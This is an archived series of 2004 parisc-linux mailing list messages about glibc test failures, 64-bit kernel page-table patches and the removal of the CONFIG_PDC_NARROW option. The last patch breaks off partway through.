List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 03 May 2004 20:26:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21590

Hello Carlos,

Just finished the make -k check of the today cvs co (ie 20040503) and no
more Errors then well known ones :)

Thanks a lot,
    Joel
> -- Original Message --
> Date: Sat, 1 May 2004 14:01:43 -0400
> From: Carlos O'Donell <carlos@baldric.uwo.ca>
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] hppa glibc status 2004-05-01
> 
> 
> 
parisc-linux,

If you are building glibc for something other than debian, and you
follow upstream closely (looks at gentoo folks), the you should only see
the following set of failures (TIMEOUTFACTOR set appropriately for slow
tests):

make[2]
>  *** [/build-hppa/math/test-float.out] Error 1
make[2]: *** [/build-hppa/math/test-double.out] Error 1
make[2]: *** [/build-hppa/math/test-ifloat.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/build-hppa/stdlib/tst-strtod.out] Error 
> 
make[2]: *** [/build-hppa/stdlib/bug-strtod.out] Error 1
make[1]: *** [stdlib/tests] Error 2
make[2]: [/build-hppa/posix/annexc.out] Error 1 (ignored)
make: *** [check] Error 2

All related to our missing long-double implementation.

http://pa
> isc-linux.org/~carlos/glibc-hppa-patches-2004-05-01.tar.gz

I'm working partly on a 64-bit userspace, no word on that yet though,
I'm reworking the directory structures, and it's going to be like a
million patches that I have to breakup and write C
> angelogs. First step
would be to create the configure chagnes, and move the directories, and
get back a 32-bit build that works.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org

> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



----------------------------------------------------------------------------------------
Tiscali ADSL, 27,50 /mois...pendant 6 mois. 
La meilleure offre du march !
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Mon, 3 May 2004 10:57:34 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <408D436000004559@ocpmta1.freegates.net>
References: <1083442151.2030.27.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623429 9217 80.91.229.3 (22 Nov 2014 02:30:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:29 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>,
	"PARISC list" <parisc-linux@lists.parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Mon May  3 14:31:59 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D68A2486C; Mon,  3 May 2004 14:31:58 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BKZGZ-0007JT-00; Mon, 03 May 2004 10:57:35 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 3 May 2004 10:57:34 +0200
In-Reply-To: <1083442151.2030.27.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 03 May 2004 20:31:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21591

> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: asm-offsets.c entry.S head64.S 
> 	i
> clude/asm-parisc: page.h pgalloc.h pgtable.h 
> 
> Log message:
> Increase the maximum physical and virtual space available to
> the 64 bit kernel from 512GB to 8TB
> 

Sincerely nice job but how will it permit me to access at least to the only
all 4GB of the N4k I test when setup_bootmem() limits actually the usage
to the first 2Gb?

For remind:
 arch/parisc/mm/init.c
static void __init setup_bootmem(void)
{
[snip]
        /*
         * Throw out ranges that are too far apart (controlled by
         * MAX_GAP). If CONFIG_DISCONTIGMEM wasn't implemented so
         * poorly, we would recommend enabling that option, but,
         * until it is fixed, this is the best way to go.
         */

        printk("npmem_ranges = %d.(line 171)\n", npmem_ranges);
        for (i = 1; i < npmem_ranges; i++) {
              printk("pmem_ranges[%d].start_pfn = %ld.\n", i-1, pmem_ranges[i-1].pages);
                printk("pmem_ranges[%d].pages = %ld.\n", i-1, pmem_ranges[i-1].pages);
                printk("pmem_ranges[%d].start_pfn = %ld.\n", i, pmem_ranges[i].pages);
[snip]
           
And actual results would be:
<==== return by setup_bootmem() ====>
pmem_ranges[0].start_pfn = 0.
pmem_ranges[0].pages = 524288.
pmem_ranges[1].start_pfn = 1572864.

so 1572864-524288-0=1048576 greater then MAX_GAP = 262144.

I also investigate the choice of using CONFIG_DISCONTIGMEM but as far as
I understand this option is foreseen when each processor has its own ram
and can/want access the ram of the others (as on sun 6800): not the N4k case
where all ram is shared between all processor?

Thanks again for your attention,
   Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] undefined types in page.h
Date: Sun, 2 May 2004 12:16:33 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20040502161633.GC26697@mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623430 9219 80.91.229.3 (22 Nov 2014 02:30:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: kyle@mcmartin.ca  Mon May  3 14:44:05 2004
Return-Path: <kyle@mcmartin.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mcmartin.ca
	(CPE0030ab0b413b-CM023469906297.cpe.net.cable.rogers.com
	[24.157.3.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A62D487D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 May 2004 14:44:05 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id 32E06E58B; Sun,  2 May 2004 12:16:34 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 03 May 2004 20:44:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21592

willy,

With cvs head, unless the following patch is applied, the compile bombs
out in at least fs/xfs/support/debug.c, as that file uses __u32 in
several places without having included types.h.

Please apply,

Index: include/asm-parisc/page.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/page.h,v
retrieving revision 1.6
diff -u -r1.6 page.h
--- a/include/asm-parisc/page.h	1 May 2004 20:03:11 -0000	1.6
+++ b/include/asm-parisc/page.h	2 May 2004 16:05:11 -0000
@@ -11,6 +11,7 @@
 #ifndef __ASSEMBLY__
 
 #include <asm/cache.h>
+#include <asm/types.h>
 
 #define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
 #define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))

Regards,
-- 
Kyle McMartin


From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 03 May 2004 15:51:09 -0500
Lines: 246
Approved: news@gmane.org
Message-ID: <1083617469.2417.10.camel@mulgrave>
References: <20040502161601.DC7C24945C7@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623430 9221 80.91.229.3 (22 Nov 2014 02:30:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:30 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Mon May  3 14:51:11 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id BC28D488D; Mon,  3 May 2004 14:51:10 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i43KpAa02485; Mon, 3 May 2004 16:51:10 -0400
In-Reply-To: <20040502161601.DC7C24945C7@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 03 May 2004 20:51:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21593

On Sun, 2004-05-02 at 11:16, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/05/02 10:16:01
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: asm-offsets.c entry.S init_task.c 
> 	include/asm-parisc: pgalloc.h pgtable.h 
> 
> Log message:
> Implement L2/L3 hybrid page tables for 64 bit kernels

Index: arch/parisc/kernel/asm-offsets.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/asm-offsets.c,v
retrieving revision 1.7
diff -u -r1.7 asm-offsets.c
--- a/arch/parisc/kernel/asm-offsets.c	1 May 2004 20:03:11 -0000	1.7
+++ b/arch/parisc/kernel/asm-offsets.c	2 May 2004 15:53:49 -0000
@@ -282,6 +282,7 @@
 	DEFINE(ASM_BITS_PER_PGD, BITS_PER_PGD);
 	DEFINE(ASM_BITS_PER_PMD, BITS_PER_PMD);
 	DEFINE(ASM_BITS_PER_PTE, BITS_PER_PTE);
+	DEFINE(ASM_PGD_PMD_OFFSET, -(PAGE_SIZE << PGD_ORDER));
 	DEFINE(ASM_PMD_ENTRY, ((PAGE_OFFSET & PMD_MASK) >> PMD_SHIFT));
 	DEFINE(ASM_PGD_ENTRY, PAGE_OFFSET >> PGDIR_SHIFT);
 	DEFINE(ASM_PGD_ENTRY_SIZE, PGD_ENTRY_SIZE);
Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.13
diff -u -r1.13 entry.S
--- a/arch/parisc/kernel/entry.S	1 May 2004 20:03:11 -0000	1.13
+++ b/arch/parisc/kernel/entry.S	2 May 2004 15:53:51 -0000
@@ -474,11 +474,24 @@
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
 	.endm
 
-	/* Look up PTE in a 3-Level scheme */
+	/* Look up PTE in a 3-Level scheme.
+	 *
+	 * Here we implement a Hybrid L2/L3 scheme: we allocate the
+	 * first pmd adjacent to the pgd.  This means that we can
+	 * subtract a constant offset to get to it.  The pmd and pgd
+	 * sizes are arranged so that a single pmd covers 4GB (giving
+	 * a full LP64 process access to 8TB) so our lookups are
+	 * effectively L2 for the first 4GB of the kernel (i.e. for
+	 * all ILP32 processes and all the kernel for machines with
+	 * under 4GB of memory) */
 	.macro		L3_ptep pgd,pte,index,va,fault
 	extrd,u		\va,63-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 	copy		%r0,\pte
+	extrd,u,*=	\va,31,32,%r0
 	ldw,s		\index(\pgd),\pgd
+	extrd,u,*<>	\va,31,32,%r0
+	ldo		ASM_PGD_PMD_OFFSET(\pgd),\pgd
+	extrd,u,*=	\va,31,32,%r0
 	bb,>=,n		\pgd,_PAGE_PRESENT_BIT,\fault
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
Index: arch/parisc/kernel/init_task.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/init_task.c,v
retrieving revision 1.5
diff -u -r1.5 init_task.c
--- a/arch/parisc/kernel/init_task.c	1 May 2004 16:05:55 -0000	1.5
+++ b/arch/parisc/kernel/init_task.c	2 May 2004 15:53:51 -0000
@@ -52,11 +52,13 @@
 	__attribute__((aligned(128))) __attribute__((__section__(".data.init_task"))) =
 		{ INIT_THREAD_INFO(init_task) };
 
-pgd_t swapper_pg_dir[PTRS_PER_PGD] __attribute__ ((aligned(PAGE_SIZE<<PGD_ORDER))) = { {0}, };
 #ifdef __LP64__
-pmd_t pmd0[PTRS_PER_PMD] __attribute__ ((aligned(4096))) = { {0}, };
+/* NOTE: This layout exactly conforms to the hybrid L2/L3 page table layout
+ * with the first pmd adjacent to the pgd and below it */
+pmd_t pmd0[PTRS_PER_PMD] __attribute__ ((aligned(PAGE_SIZE))) = { {0}, };
 #endif
-pte_t pg0[PT_INITIAL * PTRS_PER_PTE] __attribute__ ((aligned(4096))) = { {0}, };
+pgd_t swapper_pg_dir[PTRS_PER_PGD] __attribute__ ((aligned(PAGE_SIZE))) = { {0}, };
+pte_t pg0[PT_INITIAL * PTRS_PER_PTE] __attribute__ ((aligned(PAGE_SIZE))) = { {0}, };
 
 /*
  * Initial task structure.
Index: include/asm-parisc/pgalloc.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgalloc.h,v
retrieving revision 1.4
diff -u -r1.4 pgalloc.h
--- a/include/asm-parisc/pgalloc.h	1 May 2004 20:03:11 -0000	1.4
+++ b/include/asm-parisc/pgalloc.h	2 May 2004 15:54:10 -0000
@@ -10,18 +10,44 @@
 #include <asm/pgtable.h>
 #include <asm/cache.h>
 
+/* Allocate the top level pgd (page directory)
+ *
+ * Here (for 64 bit kernels) we implement a Hybrid L2/L3 scheme: we
+ * allocate the first pmd adjacent to the pgd.  This means that we can
+ * subtract a constant offset to get to it.  The pmd and pgd sizes are
+ * arranged so that a single pmd covers 4GB (giving a full LP64
+ * process access to 8TB) so our lookups are effectively L2 for the
+ * first 4GB of the kernel (i.e. for all ILP32 processes and all the
+ * kernel for machines with under 4GB of memory) */
 static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 {
-	pgd_t *pgd = (pgd_t *)__get_free_pages(GFP_KERNEL, PGD_ORDER);
-
-	if (likely(pgd != NULL))
-		memset(pgd, 0, PAGE_SIZE<<PGD_ORDER);
-	return pgd;
+	pgd_t *pgd = (pgd_t *)__get_free_pages(GFP_KERNEL|GFP_DMA,
+					       PGD_ALLOC_ORDER);
+	pgd_t *actual_pgd = pgd;
+
+	if (likely(pgd != NULL)) {
+		memset(pgd, 0, PAGE_SIZE<<PGD_ALLOC_ORDER);
+#ifdef __LP64__
+		actual_pgd += PTRS_PER_PGD;
+		/* Populate first pmd with allocated memory.  We mark it
+		 * with _PAGE_GATEWAY as a signal to the system that this
+		 * pmd entry may not be cleared. */
+		pgd_val(*actual_pgd) = (_PAGE_TABLE | _PAGE_GATEWAY) + 
+			(__u32)__pa((unsigned long)pgd);
+		/* The first pmd entry also is marked with _PAGE_GATEWAY as
+		 * a signal that this pmd may not be freed */
+		pgd_val(*pgd) = _PAGE_GATEWAY;
+#endif
+	}
+	return actual_pgd;
 }
 
 static inline void pgd_free(pgd_t *pgd)
 {
-	free_pages((unsigned long)pgd, PGD_ORDER);
+#ifdef __LP64__
+	pgd -= PTRS_PER_PGD;
+#endif
+	free_pages((unsigned long)pgd, PGD_ALLOC_ORDER);
 }
 
 #if PT_NLEVELS == 3
@@ -46,6 +72,12 @@
 
 static inline void pmd_free(pmd_t *pmd)
 {
+#ifdef __LP64__
+	if(pmd_val(*pmd) & _PAGE_GATEWAY)
+		/* This is the permanent pmd attached to the pgd;
+		 * cannot free it */
+		return;
+#endif
 	free_pages((unsigned long)pmd, PMD_ORDER);
 }
 
@@ -67,7 +99,15 @@
 static inline void
 pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd, pte_t *pte)
 {
-	pmd_val(*pmd) = _PAGE_TABLE + (__u32)__pa((unsigned long)pte);
+#ifdef __LP64__
+	/* preserve the gateway marker if this is the beginning of
+	 * the permanent pmd */
+	if(pmd_val(*pmd) & _PAGE_GATEWAY)
+		pmd_val(*pmd) = (_PAGE_TABLE | _PAGE_GATEWAY)
+			+ (__u32)__pa((unsigned long)pte);
+	else
+#endif
+		pmd_val(*pmd) = _PAGE_TABLE + (__u32)__pa((unsigned long)pte);
 }
 
 #define pmd_populate(mm, pmd, pte_page) \
Index: include/asm-parisc/pgtable.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgtable.h,v
retrieving revision 1.8
diff -u -r1.8 pgtable.h
--- a/include/asm-parisc/pgtable.h	1 May 2004 20:03:11 -0000	1.8
+++ b/include/asm-parisc/pgtable.h	2 May 2004 15:54:11 -0000
@@ -67,10 +67,12 @@
 #define PT_INITIAL	4 /* Number of initial page tables */
 #define PGD_ORDER	1 /* Number of pages per pgd */
 #define PMD_ORDER	1 /* Number of pages per pmd */
+#define PGD_ALLOC_ORDER	2 /* first pgd contains pmd */
 #else
 #define PT_NLEVELS	2
 #define PT_INITIAL	2 /* Number of initial page tables */
 #define PGD_ORDER	0 /* Number of pages per pgd */
+#define PGD_ALLOC_ORDER	PGD_ORDER
 #endif
 
 /* Definitions for 3rd level (we use PLD here for Page Lower directory
@@ -242,10 +244,26 @@
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
 #define pte_clear(xp)	do { pte_val(*(xp)) = 0; } while (0)
 
+#ifdef __LP64__
+/* The first entry of the permanent pmd is not there if it contains
+ * the gateway marker */
+#define pmd_none(x)	(!pmd_val(x) || pmd_val(x) == _PAGE_GATEWAY)
+#define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE && (pmd_val(x) & ~PAGE_MASK) != (_PAGE_TABLE | _PAGE_GATEWAY))
+#else
 #define pmd_none(x)	(!pmd_val(x))
 #define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
+#endif
 #define pmd_present(x)	(pmd_val(x) & _PAGE_PRESENT)
-#define pmd_clear(xp)	do { pmd_val(*(xp)) = 0; } while (0)
+static inline void pmd_clear(pmd_t *pmd) {
+#ifdef __LP64__
+	if(pmd_val(*pmd) & _PAGE_GATEWAY)
+		/* This is the entry pointing to the permanent pmd
+		 * attached to the pgd; cannot clear it */
+		pmd_val(*pmd) = _PAGE_GATEWAY;
+	else
+#endif
+		pmd_val(*pmd) = 0;
+}
 


@@ -255,9 +273,21 @@
 /* For 64 bit we have three level tables */
 
 #define pgd_none(x)     (!pgd_val(x))
+#ifdef __LP64__
+#define pgd_bad(x)      ((pgd_val(x) & ~PAGE_MASK) != _PAGE_TABLE && (pgd_val(x) & ~PAGE_MASK) != (_PAGE_TABLE | _PAGE_GATEWAY))
+#else
 #define pgd_bad(x)      ((pgd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
+#endif
 #define pgd_present(x)  (pgd_val(x) & _PAGE_PRESENT)
-#define pgd_clear(xp)   do { pgd_val(*(xp)) = 0; } while (0)
+static inline void pgd_clear(pgd_t *pgd) {
+#ifdef __LP64__
+	if(pgd_val(*pgd) & _PAGE_GATEWAY)
+		/* This is the permanent pmd attached to the pgd; cannot
+		 * free it */
+		return;
+#endif
+	pgd_val(*pgd) = 0;
+}
 #else
 /*
  * The "pgd_xxx()" functions here are trivial for a folded two-level



From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <ryan_bradetich@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Removal of the CONFIG_PDC_NARROW option.
Date: Mon, 03 May 2004 19:36:47 -0600
Organization: Hewlett-Packard
Lines: 258
Approved: news@gmane.org
Message-ID: <1083634607.26081.6.camel@beavis>
Reply-To: ryan_bradetich@hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-6F4BNpa4embhfpzG3xTy"
X-Trace: ger.gmane.org 1416623430 9226 80.91.229.3 (22 Nov 2014 02:30:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:30 +0000 (UTC)
To: parisc-linux-cvs@lists.parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
Original-X-From: ryan_bradetich@hp.com  Mon May  3 19:36:49 2004
Return-Path: <ryan_bradetich@hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D71EB487C; Mon,  3 May 2004 19:36:48 -0600 (MDT)
Original-Received: from [10.0.0.101] (unknown [10.0.0.101])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 843D32B10E; Mon,  3 May 2004 19:36:47 -0600 (MDT)
X-Mailer: Ximian Evolution 1.4.6 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 01:36:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21594


--=-6F4BNpa4embhfpzG3xTy
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hello All,

I promised jejb a long time ago to get rid of the CONFIG_PDC_NARROW
config option and replace it with a run-time check.  This will allow
64-bit kernels to run on any 64-bit capable system and does not need to
be compiled special to run with narrow firmware.  I finally finished
this task and have committed it to CVS head.

I have attached the patch for review and I am posting to both lists
since some users might use the option and wonder about it when this
option is no longer present.

I have tested this patch on C200 (narrow firmware), K460 (wide
firmware), and A500 (wide firmware).

Thanks,

- Ryan



--=-6F4BNpa4embhfpzG3xTy
Content-Disposition: attachment; filename=64bit-runtime-check.patch
Content-Type: text/x-patch; name=64bit-runtime-check.patch; charset=us-ascii
Content-Transfer-Encoding: 7bit

Index: Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/Makefile,v
retrieving revision 1.186
diff -u -p -r1.186 Makefile
--- a/Makefile	2 May 2004 16:16:00 -0000	1.186
+++ b/Makefile	4 May 2004 01:14:40 -0000
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 6
 SUBLEVEL = 6
-EXTRAVERSION =-rc3-pa6
+EXTRAVERSION =-rc3-pa7
 NAME=Zonked Quokka
 
 # *DOCUMENTATION*
Index: arch/parisc/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Kconfig,v
retrieving revision 1.17
diff -u -p -r1.17 Kconfig
--- a/arch/parisc/Kconfig	26 Apr 2004 21:00:41 -0000	1.17
+++ b/arch/parisc/Kconfig	4 May 2004 01:14:42 -0000
@@ -117,18 +117,6 @@ config PARISC64
 config 64BIT
 	def_bool PARISC64
 
-config PDC_NARROW
-	bool "32-bit firmware"
-	depends on PARISC64
-	help
-	  This option will enable owners of C160, C180, C200, C240, C360, J280,
-	  J282, J2240 and some D/K/R class to run a 64bit kernel with their
-	  32bit PDC firmware.
-	
-	  Nobody should try this option unless they know what they are doing.
-	
-	  If unsure, say N.
-
 config SMP
 	bool "Symmetric multi-processing support"
 	---help---
Index: arch/parisc/kernel/firmware.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/firmware.c,v
retrieving revision 1.6
diff -u -p -r1.6 firmware.c
--- a/arch/parisc/kernel/firmware.c	14 Apr 2004 06:18:39 -0000	1.6
+++ b/arch/parisc/kernel/firmware.c	4 May 2004 01:14:42 -0000
@@ -10,6 +10,7 @@
  * Copyright 1999 SuSE GmbH Nuernberg (Philipp Rumpf, prumpf@tux.org)
  * Copyright 1999 The Puffin Group, (Alex deVries, David Kennedy)
  * Copyright 2003 Grant Grundler <grundler parisc-linux org>
+ * Copyright 2003,2004 Ryan Bradetich <rbrad@parisc-linux.org>
  *
  *    This program is free software; you can redistribute it and/or modify
  *    it under the terms of the GNU General Public License as published by
@@ -71,6 +72,15 @@ static spinlock_t pdc_lock = SPIN_LOCK_U
 static unsigned long pdc_result[32] __attribute__ ((aligned (8)));
 static unsigned long pdc_result2[32] __attribute__ ((aligned (8)));
 
+#ifdef __LP64__
+#define WIDE_FIRMWARE 0x1
+#define NARROW_FIRMWARE 0x2
+
+/* Firmware needs to be initially set to narrow to determine the 
+ * actual firmware width. */
+int parisc_narrow_firmware = 1;
+#endif
+
 /* on all currently-supported platforms, IODC I/O calls are always
  * 32-bit calls, and MEM_PDC calls are always the same width as the OS.
  * This means Cxxx boxes can't run wide kernels right now. -PB
@@ -87,11 +97,11 @@ long real64_call(unsigned long function,
 #endif
 long real32_call(unsigned long function, ...);
 
-#if defined(__LP64__) && ! defined(CONFIG_PDC_NARROW)
-#define MEM_PDC (unsigned long)(PAGE0->mem_pdc_hi) << 32 | PAGE0->mem_pdc
-#   define mem_pdc_call(args...) real64_call(MEM_PDC, args)
+#ifdef __LP64__
+#   define MEM_PDC (unsigned long)(PAGE0->mem_pdc_hi) << 32 | PAGE0->mem_pdc
+#   define mem_pdc_call(args...) unlikely(parisc_narrow_firmware) ? real32_call(MEM_PDC, args) : real64_call(MEM_PDC, args)
 #else
-#define MEM_PDC (unsigned long)PAGE0->mem_pdc
+#   define MEM_PDC (unsigned long)PAGE0->mem_pdc
 #   define mem_pdc_call(args...) real32_call(MEM_PDC, args)
 #endif
 
@@ -105,12 +115,14 @@ long real32_call(unsigned long function,
  */
 static unsigned long f_extend(unsigned long address)
 {
-#ifdef CONFIG_PDC_NARROW
-	if((address & 0xff000000) == 0xf0000000)
-		return 0xf0f0f0f000000000 | (u32)address;
-
-	if((address & 0xf0000000) == 0xf0000000)
-		return 0xffffffff00000000 | (u32)address;
+#ifdef __LP64__
+	if(unlikely(parisc_narrow_firmware)) {
+		if((address & 0xff000000) == 0xf0000000)
+			return 0xf0f0f0f000000000 | (u32)address;
+
+		if((address & 0xf0000000) == 0xf0000000)
+			return 0xffffffff00000000 | (u32)address;
+	}
 #endif
 	return address;
 }
@@ -125,11 +137,34 @@ static unsigned long f_extend(unsigned l
  */
 static void convert_to_wide(unsigned long *addr)
 {
-#ifdef CONFIG_PDC_NARROW
+#ifdef __LP64__
 	int i;
-	unsigned *p = (unsigned int *)addr;
